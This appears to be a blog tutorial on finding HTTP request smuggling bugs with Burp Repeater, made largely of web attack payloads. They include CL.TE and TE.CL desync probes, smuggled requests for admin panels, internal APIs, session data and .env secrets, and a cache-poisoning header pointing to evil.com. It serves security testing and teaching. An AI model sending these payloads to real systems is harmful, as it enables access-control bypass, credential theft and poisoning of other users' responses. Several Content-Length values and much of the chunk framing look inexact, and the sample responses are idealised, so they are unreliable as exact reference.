HTTP Request Smuggling: From Basics to Real Exploitation in Burp Repeater

Introduction

Aman Gupta

Published April 16, 2026

Free: Yes

Read on Freedium · original

Contents

Introduction

HTTP Request Smuggling is one of those bugs that looks "advanced" but becomes very practical once you understand the logic.

Most people:

- Try payloads → get confused → leave

Real testers:

- Understand flow → observe behavior → exploit

This guide is built so you can: Read → Open Burp → Test → Actually find bugs

1. Core Concept (Understand This Properly)

Every request goes through:

- Frontend → CDN / Proxy / Load Balancer
- Backend → Application server

 Problem happens when: Both interpret request differently

That mismatch = **Desynchronization (Desync)** And that = **Request Smuggling**

2. Why It Happens

Because of conflicting headers:

- `Content-Length`
- `Transfer-Encoding`

Example:

- Frontend trusts `Content-Length`
- Backend trusts `Transfer-Encoding`

 Same request → different interpretation

3. Setup (Keep It Simple)

You need:

- Burp Suite
- Repeater tab
- Any POST request

4. Step 1 — Capture Baseline Request

```
POST / HTTP/1.1
Host: example.com
Content-Length: 11
hello=world
```

Expected Response:

```
HTTP/1.1 200 OK
{"status":"ok"}
```

 This is your reference

5. Step 2 — Understand Normal Behavior

Check:

- Response time (fast?)
- Same response every time?

 You need this to detect anomalies

6. Step 3 — CL.TE Test (Most Important)

```
POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked
0
G
```

Possible Responses:

Delay:

Request takes longer than usual

Timeout:

No response

Error:

```
HTTP/1.1 400 Bad Request
```

 All are good signals

7. Step 4 — TE.CL Test

```
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4
5
hello
0
```

Possible Responses:

Partial read:

```
{"status":"hel"}
```

Hanging request:

No response

 Strong desync signal

8. Step 5 — Inject Smuggled Request

```
POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: example.com
```

 Backend will process `/admin` secretly

9. Step 6 — Confirm With Follow-Up

```
GET / HTTP/1.1
Host: example.com
```

10. HOW TO READ RESPONSES (MOST IMPORTANT SKILL)

This is where beginners fail. You need to understand what responses mean.

⚠️ Mixed Response (Strong Signal)

```
HTTP/1.1 200 OK
<html>Home</html>
HTTP/1.1 200 OK
<html>Admin Panel</html>
```

✅ Meaning: You injected `/admin` successfully

⚠️ Unexpected Data

```
{"user":"admin","role":"superuser"}
```

✅ Meaning: Internal API accessed

⚠️ Response Shift

Request 1:

```
{"status":"ok"}
```

Request 2:

```
{"admin":true}
```

✅ Meaning: Responses got swapped

⚠️ Partial Response

```
<html>Adm
```

✅ Meaning: Backend parsing broken

❌ Errors

```
HTTP/1.1 502 Bad Gateway
```

❌ Meaning: Frontend/backend mismatch

⏳ Delay

Normal → 100ms Now → 3 seconds

❌ Backend waiting → desync confirmed

11. WHAT TO SMUGGLE (MOST IMPORTANT SECTION)

Now real exploitation starts.

❌ Don't just try `/admin` ✅ Try **valuable endpoints**

🔐 11.1 Admin Panels

```
GET /admin HTTP/1.1
Host: example.com
GET /admin/dashboard HTTP/1.1
Host: example.com
```

Response:

```
<h1>Admin Dashboard</h1>
```

❌ Access control bypass

🔐 11.2 Internal APIs

```
GET /api/internal/users HTTP/1.1
Host: example.com
```

Response:

```
[
 {"id":1,"role":"admin"},
 {"id":2,"role":"user"}
]
```

❌ Sensitive data leak

🔐 11.3 Authentication Endpoints

```
GET /account HTTP/1.1
Host: example.com
GET /api/session HTTP/1.1
Host: example.com
```

Response:

```
{"user":"victim","email":"victim@mail.com"}
```

🔥 Session confusion

🧪 11.4 Debug / Hidden Endpoints

```
GET /debug HTTP/1.1
Host: example.com
GET /internal HTTP/1.1
Host: example.com
```

Response:

```
{"env":"prod","debug":true}
```

🔥 Internal info leak

📁 11.5 Sensitive Files

```
GET /.env HTTP/1.1
Host: example.com
```

Response:

```
DB_PASSWORD=secret123
API_KEY=xyz
```

🔥 Critical exposure

11.6 Cache Poisoning

```
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com
```

If cached → all users affected

11.7 Chained Requests (Advanced)

```
POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: example.com
GET /api/internal HTTP/1.1
Host: example.com
```

Multiple hidden requests executed

12. How to Find These Endpoints

Don't guess randomly.

Use:

- Browser DevTools → Network
- JS files
- API calls

Example:

```
/api/user
/api/admin/config
/api/internal/logs
```

These are high-value targets

13. Real Workflow (Follow This Every Time)

1. Capture request
2. Send baseline
3. Try CL.TE

4. Try TE.CL
5. Inject request
6. Send follow-up
7. Observe response
8. Change endpoint
9. Repeat

14. Automation (After You Understand)

Use:

- Burp Extension → HTTP Request Smuggler

 It helps detect desync faster

15. Common Mistakes

 Only testing once Ignoring small delays Only trying `/admin` Not analyzing responses

16. Pro Tips

- Target APIs
- Target login endpoints
- Target CDN-backed apps

 More layers = more chance of desync

Final Mindset

> You are not sending requests You are controlling how backend reads them

Final Checklist

- Baseline ✔
- CL.TE ✔
- TE.CL ✔
- Injection ✔
- Follow-up ✔
- Response analysis ✔
- Endpoint exploration ✔

Final Line

Once you understand this properly:

You stop guessing You start observing

And that's when: Request Smuggling becomes repeatable And real bugs start appearing